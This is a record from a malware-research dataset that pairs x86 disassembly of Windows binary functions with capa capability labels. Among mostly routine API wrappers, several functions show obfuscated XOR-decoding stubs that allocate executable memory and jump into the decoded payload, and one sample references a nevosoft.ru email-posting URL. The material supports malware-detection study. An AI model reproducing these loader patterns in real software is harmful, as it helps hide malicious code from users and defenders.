joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.100104f0
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.100104f0
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x100104f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x100104ff
pop dword [ebp - 0x38]
mov eax, 0x9c2fb2c4
add eax, 0x73d1523b
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8ca773fe
sub dword [ebp - 0x48], 0x3e552eb3
mov dword [ebp - 0x44], 0x284fbf64
add dword [ebp - 0x44], 0x9e38ce1
mov dword [ebp - 0x40], 0x376d7295
sub dword [ebp - 0x40], 0xeb212e67
mov dword [ebp - 0x3c], 0x1436517d
sub dword [ebp - 0x3c], 0x1436517d
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x52aa5212
sub dword [ebp - 0x48], 0xde37e8bc
mov dword [ebp - 0x44], 0x3af0b93c
add dword [ebp - 0x44], 0x67ba839
mov dword [ebp - 0x40], 0x6c2ad990
sub dword [ebp - 0x40], 0x8bb6d24
mov dword [ebp - 0x3c], 0x59e5c596
add dword [ebp - 0x3c], 0xa61a3a6a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x47a2bbea
sub eax, 0x37a15b86
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x36af5
push 0
call eax
mov ecx, 0x43b1
mov ebx, eax
mov edx, 0x10023600
add edx, dword [ebp - 0x38]
mov edi, 0x6b36ba9c
sub edi, 0x5f19fccc
add dword [ebp - 0x1c], 0xae57fd5c
mov esi, dword [edx]
mov dword [ebp - 0x20], 0x7c58d1e0
sub esi, edi
sub dword [ebp - 0x30], 0xe5bce05c
mov dword [ebx], esi
xor dword [ebp - 0x28], ebx
add ebx, 4
add edx, 4
loop 0x10010610
add eax, 0x4f85af12
sub eax, 0x4f84ad7b
xor ebx, ebx
add ebx, eax
add eax, 0xd231c73f
add eax, 0x2dce38c6
mov ecx, 0xa645ba4
add ecx, 0x59ba45c
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x1000128f
Capabilities:
Query environment variable

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x100012b2
push 0x104
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100012b2
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x100017d8
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10011265
call fcn.10002bb0
mov eax, dword [ebp + 8]
push 0x104
push eax
xor edi, edi
push edi
push edi
xor ecx, ecx
push 0x10012858
mov word [eax], cx
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1000184c
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__NULL__pPath__MAX_PATH_
call fcn.1000230d
pop ecx
pop ecx
push edi
push esi
call fcn.10003bad
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10002085
push eax
push esi
push 0x100124f4
call fcn.1000230d
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x10001845
ret
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100018fd
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100018a9
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10001810
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100018fd
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100018fd
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10001810
mov eax, esi
call fcn.10002be6
ret

Function at 0x10002390
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10016040]
jne 0x1000239a
repz ret
jmp fcn.100046fe
Function at 0x10003bad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10003bbc
pop dword [ebp - 0x28]
mov eax, 0x10003bbc
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xd60e7b3e
sub dword [ebp - 0x38], 0x87bc35f3
mov dword [ebp - 0x34], 0x88ef4e52
sub dword [ebp - 0x34], 0x56bc020d
mov dword [ebp - 0x30], 0x852fe745
add dword [ebp - 0x30], 0xc71c5ce9
mov dword [ebp - 0x2c], 0xd286b19c
sub dword [ebp - 0x2c], 0xd286b19c
lea eax, [ebp - 0x38]
push eax
mov eax, 0xc82b3079
add eax, 0x47d5efbf
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x2c8f4b49
sub dword [ebp - 0x38], 0xb81ce1f3
mov dword [ebp - 0x34], 0x690d0b1e
add dword [ebp - 0x34], 0xd85f5657
mov dword [ebp - 0x30], 0x1594cc6b
sub dword [ebp - 0x30], 0xb2255fff
mov dword [ebp - 0x2c], 0xd4d17b92
sub dword [ebp - 0x2c], 0xd4d17b92
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xd21b3758
add eax, 0x3de5e8dc
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3bdbb
push 0
call eax
mov ecx, 0x1d32b61f
sub ecx, 0x1d326525
xor edi, edi
add edi, eax
mov edx, 0x884cfda7
sub edx, 0x784ac3a7
add edx, dword [ebp - 0x28]
mov esi, 0x9f050285
add esi, 0x9b347763
xor dword [ebp - 0x14], ecx
mov ebx, dword [edx]
add dword [ebp - 0x14], ecx
xor ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x24], 0xc3679a32
add edi, 0x3ec0a305
add edi, 0xc13f5cff
add edx, 4
loop 0x10003cdb
add eax, 0x136bb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7ff36501
add ecx, 0x900c9aff
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push 0x40edc1
call fcn.00403219
mov edx, dword [0x40f3a8]
add esp, 4
mov ecx, 0x2e
push esi
lea esp, [esp]
mov esi, edx
shl esi, cl
xor esi, eax
and esi, 0x7fffffff
sub ecx, 5
mov eax, esi
jns 0x401020
mov ecx, eax
and ecx, 0xffff
shr eax, 0x10
cmp ecx, eax
pop esi
jne 0x401057
mov eax, dword [0x40ef48]
sub eax, ecx
cmp eax, 2
jg 0x401057
cmp eax, 0xffffffff
jl 0x401057
mov al, 1
ret
xor al, al
ret

Function at 0x401060
Capabilities:
Copy file
Encode data using xor
Set file attributes

Disassembly:
push 0
push 0x40f7e0
push str.game.dll
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40110e
push ebx
push 2
push 0x40f7e0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x8002
push 0x40f7e0
call fcn.00403ac7
mov ebx, eax
add esp, 8
cmp ebx, 0xffffffff
je 0x40110d
push esi
push edi
push ebx
call fcn.0040b3bc
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
push esi
call fcn.004037e5
push 0
push esi
push ebx
mov edi, eax
call fcn.004036e7
push esi
push edi
push ebx
call fcn.004034f9
add esp, 0x20
xor eax, eax
test esi, esi
jle 0x4010eb
jmp 0x4010e0
xor byte [eax + edi], 0x21
add eax, 3
cmp eax, esi
jl 0x4010e0
push 0
push esi
push ebx
call fcn.004036e7
push esi
push edi
push ebx
call fcn.00403309
push ebx
call fcn.00403256
push edi
call fcn.0040321e
add esp, 0x20
pop edi
pop esi
pop ebx
ret

Function at 0x401110
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
mov eax, dword [0x40e28c]
mov dword [esp + 0x100], eax
xor eax, eax
mov cl, byte [eax + 0x40ef4c]
mov byte [esp + eax], cl
inc eax
test cl, cl
jne 0x401124
mov al, byte [0x40f060]
test al, al
je 0x40119a
push esi
push edi
lea edi, [esp + 8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401142
mov eax, dword [str.partner]
mov ecx, dword [0x40c1c8]
mov dx, word [0x40c1cc]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov eax, 0x40f060
mov word [edi + 8], dx
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401170
lea edi, [esp + 8]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401180
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 1
push 0
push 0
lea eax, [esp + 0xc]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x100]
call fcn.00403b0f
add esp, 0x104
ret
Function at 0x4014e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x208
mov eax, dword [0x40e28c]
push esi
mov esi, dword [esp + 0x210]
mov dword [esp + 0x208], eax
cmp byte [esi], 0
je 0x401593
push 0x40c21c
push esi
call fcn.00403b20
add esp, 8
test eax, eax
je 0x401593
push 0x40c218
push eax
call fcn.00403b20
add esp, 8
test eax, eax
je 0x401593
push edi
lea eax, [esp + 0xc]
push eax
push esi
call fcn.00401410
mov ecx, 8
mov esi, str.http:__nevosoft.ru_add.php_email
mov edi, 0x40ec40
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x14]
add esp, 8
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401553
mov edi, 0x40ec40
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401562
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x4012d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov ecx, dword [esp + 0x208]
pop esi
call fcn.00403b0f
add esp, 0x208
ret

Function at 0x4015b0
Capabilities:
Encode data using xor
Set current directory

Disassembly:
mov al, 0x6f
xor ecx, ecx
xor byte [ecx + 0x40ed40], al
add al, 3
mov dl, 3
imul dl
inc ecx
cmp ecx, 0x320
jl 0x4015b4
push 0x40f6d8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x190
push 0x40ed40
push str.nagscreen.dat
call fcn.004029d0
push 0x320
push 0x40ed40
push str.settings
push 0x40f5b0
call fcn.00402af0
add esp, 0x1c
mov al, 0x6f
xor ecx, ecx
jmp 0x401610
xor byte [ecx + 0x40ed40], al
add al, 3
mov dl, 3
imul dl
inc ecx
cmp ecx, 0x320
jl 0x401610
ret
Function at 0x402060
Capabilities:
Create process on windows

Disassembly:
push ecx
push esi
push edi
xor esi, esi
call fcn.00401000
test al, al
jne 0x4020ba
mov edi, dword [esp + 8]
test esi, esi
jne 0x402100
mov esi, 1
push esi
push 0x4101f8
call fcn.00401cd0
mov edi, eax
add esp, 8
test edi, edi
je 0x4020d9
cmp edi, 3
je 0x4020df
cmp edi, esi
jne 0x402072
push esi
push 0x40fff8
call fcn.00401cd0
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
jne 0x402072
call fcn.00401000
test al, al
je 0x402072
push 1
push 0x40fdf8
call fcn.00401cd0
add esp, 8
test eax, eax
je 0x4020d9
cmp eax, 3
je 0x4020df
pop edi
or eax, 0xffffffff
pop esi
pop ecx
ret
pop edi
xor eax, eax
pop esi
pop ecx
ret
push 1
push 0
push 0
push 0x40ed40
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
mov eax, 3
pop esi
pop ecx
ret
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x402af0
Capabilities:
Set registry value

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push 0
lea eax, [esp + 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 4]
push eax
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret

Function at 0x402b40
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 8
push esi
push edi
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0
push esi
push eax
call edi
test eax, eax
je 0x402b9d
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x20]
push eax
mov dword [ecx], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0xc]
cmp edx, dword [eax]
je 0x402bc0
mov dword [eax], 0
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push ecx
push 0
push 0
push esi
push edx
call edi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret

Function at 0x402f80
Capabilities:
Terminate process

Disassembly:
sub esp, 0x104
mov eax, dword [0x40e28c]
push ebp
mov ebp, dword [esp + 0x10c]
push ebp
mov dword [esp + 0x108], eax
call fcn.00402e20
add esp, 4
test eax, eax
je 0x402fd4
mov ecx, dword [esp + 0x110]
test ecx, ecx
je 0x402fba
mov edx, dword [eax + 0x80]
mov dword [ecx], edx
mov eax, dword [eax + 0x84]
pop ebp
mov ecx, dword [esp + 0x100]
call fcn.00403b0f
add esp, 0x104
ret
push edi
push 0x8000
push ebp
call fcn.00403ac7
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x403040
mov al, byte [esp + 0x118]
test al, al
je 0x403029
push ebp
lea eax, [esp + 0xc]
push str.Cant_load__s..._nProgram_will_now_stop.
push eax
call fcn.00403ba6
mov edx, dword [0x4103fc]
add esp, 0xc
push 0x10
push str.Loading_Error
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x100]
call fcn.00403b0f
add esp, 0x104
ret
push ebx
push esi
push edi
call fcn.0040b3bc
mov esi, eax
push esi
call fcn.004037e5
mov ebx, eax
push esi
push ebx
push edi
call fcn.004034f9
push edi
call fcn.00403256
mov eax, dword [esp + 0x134]
add esp, 0x18
test eax, eax
je 0x403070
mov dword [eax], esi
push 1
push ebx
push esi
push ebp
call fcn.00402dc0
mov ecx, dword [esp + 0x120]
add esp, 0x10
pop esi
mov eax, ebx
pop ebx
pop edi
pop ebp
call fcn.00403b0f
add esp, 0x104
ret
Function at 0x4030a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x48
mov eax, dword [0x40e28c]
push esi
push edi
mov edi, dword [esp + 0x54]
push 0x8000
push edi
mov dword [esp + 0x54], eax
call fcn.00403ac7
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
je 0x403173
push ebx
push ebp
push esi
call fcn.0040b3bc
mov ebx, eax
push ebx
mov dword [esp + 0x18], ebx
call fcn.004037e5
mov ebp, eax
push ebx
push ebp
push esi
call fcn.004034f9
push esi
call fcn.00403256
push 1
push ebp
push 0
push edi
call fcn.00402dc0
add esp, 0x28
mov esi, ebp
nop
lea edx, [esp + 0x14]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403108
lea eax, [esp + 0x14]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403120
sub eax, edx
mov ebx, eax
mov edi, dword [esi + ebx + 1]
lea esi, [esi + ebx + 1]
add esi, 4
xor ecx, ecx
test edi, edi
jbe 0x403152
lea esp, [esp]
xor edx, edx
mov eax, ecx
div ebx
mov al, byte [esp + edx + 0x14]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jb 0x403140
push 0
push esi
lea ecx, [esp + 0x1c]
push edi
push ecx
call fcn.00402dc0
mov eax, dword [esp + 0x20]
add esi, edi
mov edx, esi
sub edx, ebp
add esp, 0x10
cmp edx, eax
jne 0x403100
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
call fcn.00403b0f
add esp, 0x48
ret
Function at 0x403309
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x4128c0]
mov eax, dword [0x40e28c]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x4034cf
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x4128e0]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x4034cf
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x403373
xor eax, eax
jmp 0x4034e3
test al, 0x20
je 0x403384
push 2
push edi
push edi
push ecx
call fcn.004054b1
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x403459
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x4034a0
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x4033e6
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x4033d7
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x4033b9
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403426
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x403432
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x4033ad
jmp 0x403434
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x4034ca
cmp dword [ebp + 0x3a4], edi
je 0x4034a0
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x403492
mov dword [0x41141c], eax
jmp 0x4034d6
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403484
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x403434
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x403434
push dword [ebp + 0x3a4]
call fcn.004050dd
pop ecx
jmp 0x4034e0
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x4034b8
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x40336c
mov dword [0x411418], 0x1c
mov dword [0x41141c], edi
jmp 0x4034e0
sub eax, dword [ebp - 0x7c]
jmp 0x4034e3
and dword [0x41141c], 0
mov dword [0x411418], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.00403b0f
add ebp, 0x39c
leave
ret